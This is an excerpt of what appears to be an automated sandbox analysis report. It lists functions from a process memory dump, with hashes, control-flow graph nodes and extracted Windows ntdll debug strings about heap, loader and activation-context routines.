                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 5142b2973cd6936ef385b941ed29865c5e33359aef22ceb5ac54b1de52fd5503
                                    • Instruction ID: 287a26bd2152ce50affe935734498312a94bd0cfb6b771324d58f63c06956712
                                    • Opcode Fuzzy Hash: 5142b2973cd6936ef385b941ed29865c5e33359aef22ceb5ac54b1de52fd5503
                                    • Instruction Fuzzy Hash: BD90027120544C52D14071584404A86005947E1315F55C012B0064694E9A259E59BA61
                                    Function 37442BF0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 0cfd4a1cbc8bc6a052e69dffc23cce31cb00e332656d228bfdfdab7003bba59c
                                    • Instruction ID: ab5e1911eb216f74e31d9f789d1cfb0ad8e97c04e36fb0895f30cedb982c19bb
                                    • Opcode Fuzzy Hash: 0cfd4a1cbc8bc6a052e69dffc23cce31cb00e332656d228bfdfdab7003bba59c
                                    • Instruction Fuzzy Hash: 3490027120140C12D1807158440468A004947E2311F95C016B0025654ECE159F5D7BA1
                                    Function 37442B80 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: fb152643befeebe899e65877f4d82e47bbdfaaa23c16ffd973496f2d05572cc1
                                    • Instruction ID: 29ad4fe84b040aa8ef10b3314f952ea127018e8fa8debc608b536ac5dd783268
                                    • Opcode Fuzzy Hash: fb152643befeebe899e65877f4d82e47bbdfaaa23c16ffd973496f2d05572cc1
                                    • Instruction Fuzzy Hash: 1A90027120140C12D104715848046C6004947E1311F55C012B6024655F9A659D957531
                                    Function 37442BA0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: f54a5d3aa78959a7d357941569e3d7abc446807e61c5fd8e5c7de0e19137a272
                                    • Instruction ID: c23f3aba9e6de914cd818595eea76343b88dc3f72c8d527e7502e5de06eadc8b
                                    • Opcode Fuzzy Hash: f54a5d3aa78959a7d357941569e3d7abc446807e61c5fd8e5c7de0e19137a272
                                    • Instruction Fuzzy Hash: E490027160540C12D15071584414786004947E1311F55C012B0024654E8B559F597AA1
                                    Function 37442AD0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: fe75d943e192168ea9389f9bc5ee38bc8b8a2a8afce209ee6260587c8742497a
                                    • Instruction ID: 3454a543fae099a66c3d418f1a4a06807ee0a996ca1cdb734864173438cdab62
                                    • Opcode Fuzzy Hash: fe75d943e192168ea9389f9bc5ee38bc8b8a2a8afce209ee6260587c8742497a
                                    • Instruction Fuzzy Hash: EA900265211404130105B5580704547008A47E6361355C022F1015550DDA219D656521
                                    Function 37442AF0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 62af5803ec0b9156f55ee047f88c27e1028cdaec8e91f73606776a62b180d021
                                    • Instruction ID: 485ef01b6b614bf5cf97b18de3a9eaae2f9d3a1edacccdf5d0bbb863b2a3686e
                                    • Opcode Fuzzy Hash: 62af5803ec0b9156f55ee047f88c27e1028cdaec8e91f73606776a62b180d021
                                    • Instruction Fuzzy Hash: 97900265221404120145B558060454B048957E7361395C016F1416590DCA219D696721
                                    Function 37442AB0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: f7dd6f1b43618237cd6dde587aa133d681dded9beaedef3fee56121b42f308ee
                                    • Instruction ID: ccf28dc56bef10a14f47e0576631d74bd55fa555ba1e5dc588987049238fe4ac
                                    • Opcode Fuzzy Hash: f7dd6f1b43618237cd6dde587aa133d681dded9beaedef3fee56121b42f308ee
                                    • Instruction Fuzzy Hash: 119002E1201544A24500B2588404B4A454947F1211B55C017F1054560DC9259D55A535
                                    Function 374439B0 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 399f5c1544d2de5bf6a939e6fbd4d301de0eb9b88f4b3fe988d81ae972edf9ba
                                    • Instruction ID: f992c32a98b330e6ddc392e6eacdab7cccef9f5a7090cf064ac1417c05d29cb4
                                    • Opcode Fuzzy Hash: 399f5c1544d2de5bf6a939e6fbd4d301de0eb9b88f4b3fe988d81ae972edf9ba
                                    • Instruction Fuzzy Hash: A490026124545512D150715C4404656404967F1211F55C022B0814594E89559D597621
                                    Function 37442C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                    • Instruction ID: 210884db135fb1bbc443f051e81b49335ea71557fc05f011ca44b093dbf5ff9c
                                    • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                    • Instruction Fuzzy Hash:
                                    Function 37442890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 820 37442890-374428b3 821 3747a4bc-3747a4c0 820->821 822 374428b9-374428cc 820->822 821->822 825 3747a4c6-3747a4ca 821->825 823 374428dd-374428df 822->823 824 374428ce-374428d7 822->824 827 374428e1-374428e5 823->827 824->823 826 3747a57e-3747a585 824->826 825->822 828 3747a4d0-3747a4d4 825->828 826->823 829 37442988-3744298e 827->829 830 374428eb-374428fa 827->830 828->822 831 3747a4da-3747a4de 828->831 835 37442908-3744290c 829->835 833 37442900-37442905 830->833 834 3747a58a-3747a58d 830->834 831->822 832 3747a4e4-3747a4eb 831->832 836 3747a564-3747a56c 832->836 837 3747a4ed-3747a4f4 832->837 833->835 834->835 835->827 838 3744290e-3744291b 835->838 836->822 843 3747a572-3747a576 836->843 839 3747a4f6-3747a4fe 837->839 840 3747a50b 837->840 841 3747a592-3747a599 838->841 842 37442921 838->842 839->822 844 3747a504-3747a509 839->844 845 3747a510-3747a536 call 37450050 840->845 848 3747a5a1-3747a5c9 call 37450050 841->848 846 37442924-37442926 842->846 843->822 847 3747a57c call 37450050 843->847 844->845 861 3747a55d-3747a55f 845->861 850 37442993-37442995 846->850 851 37442928-3744292a 846->851 847->861 850->851 855 37442997-374429b1 call 37450050 850->855 857 37442946-37442966 call 37450050 851->857 858 3744292c-3744292e 851->858 869 37442969-37442974 855->869 857->869 858->857 864 37442930-37442944 call 37450050 858->864 867 37442981-37442985 861->867 864->857 869->846 871 37442976-37442979 869->871 871->848 872 3744297f 871->872 872->867
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: ___swprintf_l
                                    • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                    • API String ID: 48624451-2108815105
                                    • Opcode ID: 3d019d89064a4729d5ffa91af4b5001dd7250660a1155529698c6325cf56a7d1
                                    • Instruction ID: da11cc48b85ca57f396e31dec482a224e47da1a419e264a91a5aea8013370834
                                    • Opcode Fuzzy Hash: 3d019d89064a4729d5ffa91af4b5001dd7250660a1155529698c6325cf56a7d1
                                    • Instruction Fuzzy Hash: 8951D7B6B00256AFEB10DF68CC805FEF7B8BF49250B508669E468D7641D634FE009BA1
                                    Function 374DA670 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285timeCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1070 374da670-374da6e9 call 37412410 * 2 RtlDebugPrintTimes 1076 374da89f-374da8c4 call 374125b0 * 2 call 37444c30 1070->1076 1077 374da6ef-374da6fa 1070->1077 1079 374da6fc-374da709 1077->1079 1080 374da724 1077->1080 1082 374da70f-374da715 1079->1082 1083 374da70b-374da70d 1079->1083 1084 374da728-374da734 1080->1084 1086 374da71b-374da722 1082->1086 1087 374da7f3-374da7f5 1082->1087 1083->1082 1088 374da741-374da743 1084->1088 1086->1084 1090 374da81f-374da821 1087->1090 1091 374da745-374da747 1088->1091 1092 374da736-374da73c 1088->1092 1093 374da755-374da77d RtlDebugPrintTimes 1090->1093 1094 374da827-374da834 1090->1094 1091->1090 1096 374da74c-374da750 1092->1096 1097 374da73e 1092->1097 1093->1076 1106 374da783-374da7a0 RtlDebugPrintTimes 1093->1106 1098 374da85a-374da866 1094->1098 1099 374da836-374da843 1094->1099 1101 374da86c-374da86e 1096->1101 1097->1088 1104 374da87b-374da87d 1098->1104 1102 374da84b-374da851 1099->1102 1103 374da845-374da849 1099->1103 1101->1090 1107 374da96b-374da96d 1102->1107 1108 374da857 1102->1108 1103->1102 1109 374da87f-374da881 1104->1109 1110 374da870-374da876 1104->1110 1106->1076 1118 374da7a6-374da7cc RtlDebugPrintTimes 1106->1118 1111 374da883-374da889 1107->1111 1108->1098 1109->1111 1112 374da878 1110->1112 1113 374da8c7-374da8cb 1110->1113 1116 374da88b-374da89d RtlDebugPrintTimes 1111->1116 1117 374da8d0-374da8f4 RtlDebugPrintTimes 1111->1117 1112->1104 1115 374da99f-374da9a1 1113->1115 1116->1076 1117->1076 1122 374da8f6-374da913 RtlDebugPrintTimes 1117->1122 1118->1076 1123 374da7d2-374da7d4 1118->1123 1122->1076 1130 374da915-374da944 RtlDebugPrintTimes 1122->1130 1124 374da7f7-374da80a 1123->1124 1125 374da7d6-374da7e3 1123->1125 1129 374da817-374da819 1124->1129 1127 374da7eb-374da7f1 1125->1127 1128 374da7e5-374da7e9 1125->1128 1127->1087 1127->1124 1128->1127 1131 374da80c-374da812 1129->1131 1132 374da81b-374da81d 1129->1132 1130->1076 1136 374da94a-374da94c 1130->1136 1134 374da868-374da86a 1131->1134 1135 374da814 1131->1135 1132->1090 1134->1101 1135->1129 1137 374da94e-374da95b 1136->1137 1138 374da972-374da985 1136->1138 1139 374da95d-374da961 1137->1139 1140 374da963-374da969 1137->1140 1141 374da992-374da994 1138->1141 1139->1140 1140->1107 1140->1138 1142 374da987-374da98d 1141->1142 1143 374da996 1141->1143 1144 374da98f 1142->1144 1145 374da99b-374da99d 1142->1145 1143->1109 1144->1141 1145->1115
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: HEAP:
                                    • API String ID: 3446177414-2466845122
                                    • Opcode ID: b7b26236d8d7d0dc961a0cb375bf5ad665bbf7b9fd97e90f07693c8e3288410c
                                    • Instruction ID: f473db6eeeb82c301534ef3e1d88861bfa1c48723cb5b344f405af97d40fab3f
                                    • Opcode Fuzzy Hash: b7b26236d8d7d0dc961a0cb375bf5ad665bbf7b9fd97e90f07693c8e3288410c
                                    • Instruction Fuzzy Hash: 0DA16A75B043128FD704CE28C8A0A5AB7E6BB88350F19496DF985DB352EB74FC46CB91
                                    Function 37437630 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1146 37437630-37437651 1147 37437653-3743766f call 3740e660 1146->1147 1148 3743768b-37437699 call 37444c30 1146->1148 1153 37437675-37437682 1147->1153 1154 37474638 1147->1154 1155 37437684 1153->1155 1156 3743769a-374376a9 call 37437818 1153->1156 1157 3747463f-37474645 1154->1157 1155->1148 1164 37437701-3743770a 1156->1164 1165 374376ab-374376c1 call 374377cd 1156->1165 1159 374376c7-374376d0 call 37437728 1157->1159 1160 3747464b-374746b8 call 3748f290 call 37449020 RtlDebugPrintTimes BaseQueryModuleData 1157->1160 1159->1164 1171 374376d2 1159->1171 1160->1159 1178 374746be-374746c6 1160->1178 1168 374376d8-374376e1 1164->1168 1165->1157 1165->1159 1173 374376e3-374376f2 call 3743771b 1168->1173 1174 3743770c-3743770e 1168->1174 1171->1168 1177 374376f4-374376f6 1173->1177 1174->1177 1180 37437710-37437719 1177->1180 1181 374376f8-374376fa 1177->1181 1178->1159 1182 374746cc-374746d3 1178->1182 1180->1181 1181->1155 1183 374376fc 1181->1183 1182->1159 1184 374746d9-374746e4 1182->1184 1185 374747be-374747d0 call 37442c50 1183->1185 1187 374746ea-37474723 call 3748f290 call 3744aaa0 1184->1187 1188 374747b9 call 37444d48 1184->1188 1185->1155 1195 37474725-37474736 call 3748f290 1187->1195 1196 3747473b-3747476b call 3748f290 1187->1196 1188->1185 1195->1164 1196->1159 1201 37474771-3747477f call 3744a770 1196->1201 1204 37474786-374747a3 call 3748f290 call 3747cf9e 1201->1204 1205 37474781-37474783 1201->1205 1204->1159 1210 374747a9-374747b2 1204->1210 1205->1204 1210->1201 1211 374747b4 1210->1211 1211->1159
                                    Strings
                                    • CLIENT(ntdll): Processing section info %ws..., xrefs: 37474787
                                    • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 374746FC
                                    • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 37474742
                                    • Execute=1, xrefs: 37474713
                                    • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 37474655
                                    • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 37474725
                                    • ExecuteOptions, xrefs: 374746A0
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                    • API String ID: 0-484625025
                                    • Opcode ID: 32ad5faddc10790d5843e54b93d73c307b64e496ab6b29c12a420780b814af86
                                    • Instruction ID: 856ad12d98bc3210bbf05e1b5ead19eb95de5e0d84e2e79b9c46f8723ab31e9f
                                    • Opcode Fuzzy Hash: 32ad5faddc10790d5843e54b93d73c307b64e496ab6b29c12a420780b814af86
                                    • Instruction Fuzzy Hash: 3C516975601319BBFB12DEA4EDD5FEA77A8AF48320F0000ADD548AB280DB35BA51CF51
                                    Function 3741A250 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON
                                    Download Yara Rule
                                    Strings
                                    • RtlpFindActivationContextSection_CheckParameters, xrefs: 374679D0, 374679F5
                                    • SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 374679D5
                                    • SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 374679FA
                                    • RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 37467AE6
                                    • Actx , xrefs: 37467A0C, 37467A73
                                    • SsHd, xrefs: 3741A3E4
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
                                    • API String ID: 0-1988757188
                                    • Opcode ID: 56d91b32d09e6c87e55fe697f6a2a8aa81d86034c8c5e86e5d04f4ad223fde42
                                    • Instruction ID: 772afe0ece264e06cc1ace42f334d4411d09dd4350e6e722c8aa6d05ccb4e698
                                    • Opcode Fuzzy Hash: 56d91b32d09e6c87e55fe697f6a2a8aa81d86034c8c5e86e5d04f4ad223fde42
                                    • Instruction Fuzzy Hash: 92E1B1757083018FE711DE24C9D4BAAB7E1AF84368F504A2DE9A5CB390EB31F945CB42
                                    Function 3747FD82 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
                                    • API String ID: 3446177414-4227709934
                                    • Opcode ID: 69cbaf5c9deb28c7925cfd506211384d5f37e0ef1853a02179356535f62634e3
                                    • Instruction ID: e73649d3b9a3b2ceed0d7bf223b2807575b3040475229e936ed6d3d15bb713c9
                                    • Opcode Fuzzy Hash: 69cbaf5c9deb28c7925cfd506211384d5f37e0ef1853a02179356535f62634e3
                                    • Instruction Fuzzy Hash: FA416BB9A00359EFDB01DF99C980ADEBBB5BF48764F104159E924A7341D731BD12CBA0
                                    Function 374AFD78 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
                                    • API String ID: 3446177414-3492000579
                                    • Opcode ID: af644ab0abd510d96e08e167800457d8f549cbee56c0ffdb61759c1baf2aa795
                                    • Instruction ID: 235e2b49888ebd8016a27f5d00a0a33e1339066ace03e9b810ea9392972605e1
                                    • Opcode Fuzzy Hash: af644ab0abd510d96e08e167800457d8f549cbee56c0ffdb61759c1baf2aa795
                                    • Instruction Fuzzy Hash: 3E71CA75904349DFDB01CF68D4806EEFBF2AF99350F44805AE489AB352CB39B981CB51
                                    Function 373F65B5 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    • Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 37459AB4
                                    • minkernel\ntdll\ldrinit.c, xrefs: 37459AC5, 37459B06
                                    • LdrpLoadShimEngine, xrefs: 37459ABB, 37459AFC
                                    • Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 37459AF6
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                    • API String ID: 3446177414-3589223738
                                    • Opcode ID: ad13ad7045d6b1ef8a61780561f1130d5d231d55903695d2475931f16dc4bb16
                                    • Instruction ID: e06c3d9585c7d0df48d96bf344bfad110eca36c6720feb8661328e07727a7054
                                    • Opcode Fuzzy Hash: ad13ad7045d6b1ef8a61780561f1130d5d231d55903695d2475931f16dc4bb16
                                    • Instruction Fuzzy Hash: 7B514372A80358DFEB04DFA8C845BED77B6BB84350F050129E454BB285DB79BC51CB92
                                    Function 37429803 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 179timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: @3O7$LdrpUnloadNode$Unmapping DLL "%wZ"$dfO7@3O7@3O7$minkernel\ntdll\ldrsnap.c
                                    • API String ID: 3446177414-4182222948
                                    • Opcode ID: 9e6ced28e0f8f2f98edb1b34f0597caf7d2661cd677607fcb4167ab4b6e54900
                                    • Instruction ID: 128007cdba4c92bf32a7b5f6f1b0b418a684adff8b1d1282c29346094fc6b782
